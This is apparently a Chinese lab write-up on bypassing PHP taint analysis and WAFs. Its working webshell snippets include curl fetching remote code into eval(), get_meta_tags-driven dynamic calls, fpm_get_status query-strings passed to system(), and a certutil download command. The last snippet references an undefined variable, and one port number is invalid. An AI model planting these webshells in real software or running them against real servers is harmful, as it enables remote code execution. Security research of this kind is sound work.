PHP 污点分析绕过实战:CURL、get_meta_tags 与 fpm_get_status 引入非预定义污点源

免责声明 本文全部实验操作均在本人完全可控的自建本地靶场环境完成,文章仅用于网络安全原理学习与技术研究。根据《中华人民共和国网络安全法》,未经授权对任何第三方系统进行探测、命令执行、文件写入等操作属于违法行为。

严禁复制、使用本文中的 Payload、代码应用到未获得授权的设备上。若读者将文中内容用于非法用途,一切法律责任由行为人本人承担,与本文作者无关。

个人水平有限,如有不足欢迎指正。


**摘要:**本文从污点分析中的污点源识别、污点传播与污点汇聚检测讲起,重点介绍三种绕过常规污点追踪的思路:利用 CURL 从远程下载文本后交给 eval 执行;利用 get_meta_tags 读取远端 meta 标签作为函数名与参数;利用 fpm_get_status 从 PHP-FPM 进程状态中获取 query-string 并交给 system 执行。文章还结合本地靶场实验说明 URL 编码、Windows 写入文件以及 urldecode 解码细节。

污点分析(Taint Analysis)是一种静态程序分析技术,用于追踪潜在的恶意数据 (污点)在程序中的传播,以检测和防止安全漏洞。以下是污点追踪的过程和原理:

污点追踪过程

污点源( Taint Sources )识别

污点源是程序中接收外部输入的地方 ,如用户输入、文件读取、网络请求等。分析工具会将这些输入标记为**"污点"。**

示例:_GET\['input'\]、_POST'data' 等。

污点传播( Taint Propagation

污点数据通过变量赋值、函数参数传递、数据结构操作等方式在程序中传播。工具会跟踪这些传播路径,确保所有直接或间接受到污点数据影响的变量都被标记为污点。

示例:

复制代码
$tainted = $_GET['input'];
$safe = $tainted; // $safe 也被标记为污点

污点消毒( Sanitization )识别

在程序中,某些操作或函数可以"消毒"数据,使其不再被视为污点。常见的消毒操作包括输入验证、转义、编码等。分析工具会识别这些消毒操作,并在数据通过这些操作后取消其污点标记。

示例:

复制代码
$tainted = $_GET['input'];
$clean = htmlspecialchars($tainted, ENT_QUOTES, 'UTF-8'); // $clean 被视为已消毒

htmlspecialchars()

作用:把 HTML 特殊符号,转成浏览器 "只当做文字显示" 的实体编码,浏览器不再把它当成标签 / JS 代码执行

污点汇聚( Taint Sinks )检测

污点汇聚是程序中使用敏感操作的地方,如数据库查询、输出到浏览器、文件写入等。如果污点数据到达这些汇聚点而未被消毒,就可能导致安全漏洞。

工具会检查污点数据是否在未经消毒的情况下到达敏感操作,从而检测潜在的安全风险。

示例:

复制代码
$tainted = $_GET['input'];
$query = "SELECT * FROM users WHERE name = '$tainted'"; // 潜在的 SQL 注入风险

1.CURL引入参数

案例:

curl_setopt(resource ch , int option , mixed value):给 curl 会话设置各种请求选项参数。ch:curl_init() 返回的 curl 句柄(资源对象)

$option:预定义常量,配置项

$value:给这个配置项设置的值

mixed 是 PHP 文档里的伪类型 ,不是真实数据类型。含义:这个参数**/** 返回值,可以接收多种不同类型的数据

复制代码
<?php 
$url="http://x/1.txt"; 
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, $url); 
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); 
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch,CURLOPT_HTTPHEADER,$headerArray); 
$output = curl_exec($ch); 
curl_close($ch); 
echo $output; 
eval($output); 
参数 作用
CURLOPT_URL 请求目标 URL
CURLOPT_SSL_VERIFYPEER=FALSE 关闭对等证书校验,不验证 HTTPS 证书真假
CURLOPT_SSL_VERIFYHOST=FALSE 不校验证书主机名
CURLOPT_RETURNTRANSFER=1 返回响应到变量,而不是直接输出到屏幕
CURLOPT_HTTPHEADER 设置自定义请求头数组

CURLOPT_RETURNTRANSFER = 0 默认关闭

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);

output = curl_exec(ch);

  • 远程响应 body直接打印输出到网页,不会存入变量,,为1时存储进变量
  • $output 只拿到布尔值:成功返回true,失败返回false。

curl_setopt只是设置,不访问网络;curl_exec()发起真实网络请求,获取响应数据。

作用:

  1. PHP 使用 curl 发起 HTTP 请求,从外部远程服务器下载文本内容保存到变量 $output
  2. 将拿到的远程字符串直接传入 eval()

eval 会把普通字符串当作 PHP 代码解析执行,这里的 eval 很特殊,要不要来拦截是个问题:恶意代码由服务器后端 curl 远程拉取,攻击载荷不出 HTTP 请求流量,WAF 无法检测和拦截,属于 WAF 解析差异绕过

原理:

将原本可被识别的用户输入污点数据,转换为非预定义污点来源的数据,使危险函数接收到的数据不再被标记为污点,从而绕过污点检测。

假设远程 http://x/1.txt 攻击者写入恶意内容:

system('whoami');

程序运行流程:

  1. curl 请求拉取 1.txt → $output = "system('whoami');"
  2. eval($output); 等价于服务器本地执行代码:

示例

复制代码
python3 -m http.server 99999

启动一个临时简易 Web 服务器,把当前目录下的所有文件对外提供****HTTP 访问 。 0.0.0.0代表监听本机全部网卡,其他主机可访问;访问地址:http://IP:9999/文件名,但9999不是常见的端口,也可能被拦截

能成功执行,基于此如果把1.txt中的内容换成其他的这可以执行RCE。或者再写入其他的后面文件。

2.get_meta_tags引入参数

利用

复制代码
<?php
get_meta_tags("http://x/1")["author"](get_meta_tags("http://x/1")["keywords"]);
?>

get_meta_tags("http://x/1")\["author"]:拿到 meta 的 author 值,作为函数名。( ... ):后面括号代表函数调用,括号内为传入参数

攻击载荷保存在远端index.html,Web 服务访问目录会自动加载该首页文件,URL 可省略文件名实现缩短;恶意特征存放在 meta 标签,不在外部请求中暴露,用于绕过 WAF。

但是在实践练习中容易发现,只要keywords的值固定时才能成功,但是也可以通过直接固定写后面的命令实现getshell

在windows下经过尝试echo "phpinfo()" >aaaa.php等这种常规方法发现并不能实现写下文件。怎么实现,下载?然后使用copy改名

复制代码
certutil -urlcache -split -f 

3.fpm_get_status

仅在 PHP‑FPM 模式下可用

官方提示,此函数没有参数,作用是:返回PHP‑FPM 进程池完整运行状态数组PHP

通过fpm_get_status()可以读取到 GET 请求的提交参数,参数存放在返回数组的****procs 子数组内,其中query‑string字段即为 GET **请求的原始查询字符串,**无需 PHP 脚本通过$_GET接收,直接读取 PHP‑FPM 进程内存中保存的 HTTP 请求元数据就能拿到 GET 参数。

既然这样,可以构造出这样的语句:system里面的值并不是$_GET之类的危险函数,可以实现不被污点追踪到,

由于无法确定****payload 会被存入哪一个 FPM worker 进程下标中 ,因此遍历 FPM 全部 worker 进程对应的 procs 数组,逐个取出每个进程内存中保存的query‑string原始 GET 查询字符串,将其直接传入system()函数尝试执行系统命令。

复制代码
<?php
foreach(fpm_get_status()["procs"] as $val){
    system($val["query-string"]);
}

成功执行whoami

在尝试写入时发现,部分内容被转义,并没有成功写入,浏览器地址栏输入 payload 会自动 URL 编码,FPM 内存中将保存编码后的字符串,造成 shell 解析失败 。使用 Burp Suite 构造原始 HTTP 请求,绕过浏览器自动编码,传入原始特殊字符,使命令可以正常解析执行。于是使用 burpsuit 抓包再次尝试,避免转义

这样尝试成功创建了文件,但是文件并没有内容,猜想可能是因为内容中部分被编码导致命令没有成功执行

于是先解码,经过urldecode() 解码后重定向功能恢复正常,最终可以成功将 PHP 代码写入文件。

复制代码
<?php
foreach(fpm_get_status()["procs"] as $val){
if(!empty($qs)){
    $decoded = urldecode($qs); //手动解码URL编码字符,还原 &gt; &lt; 等符号
    system($decoded);
}
}

urldecode()

PHP 内置函数:URL 解码,把百分号编码还原回原始字符

相关推荐
肠畔码农2 小时前
Redis 主从复制内核深潜:从物理模型到全量增量同步的本质
网络·redis·php
SomeB1oody2 小时前
【RustyML入门】7.2. 深入模型持久化
开发语言·后端·机器学习·rust·教程
yaoxin5211232 小时前
502. Java 反射 - 编写 MessageInterceptor 类
java·开发语言
wuyk5552 小时前
Python零基础入门第五章:元组Tuple(不可变容器详解、列表与元组区别)
开发语言·python
2601_965798472 小时前
Build a Fast, High-Ranking Restaurant Website with Rolanda Theme
开发语言·ios·swift
caimouse2 小时前
ReactOS 窗口系统分析(25):标题栏显示与系统按钮 — nonclient.c 标题栏专题
c语言·开发语言
诺伦2 小时前
Rust 错误处理实战:从 unwrap 到优雅 Result 的进阶之路
开发语言·后端·rust
caimouse3 小时前
ReactOS 窗口系统分析(14):计时器/属性/加速键/热键 — timer.c + prop.c + accelerator.c + hotkey.c
c语言·开发语言·reactos
circuitsosk3 小时前
Python 模块与包管理:import 机制、虚拟环境与 pip 完全指南
开发语言·python·pip·依赖管理·模块与包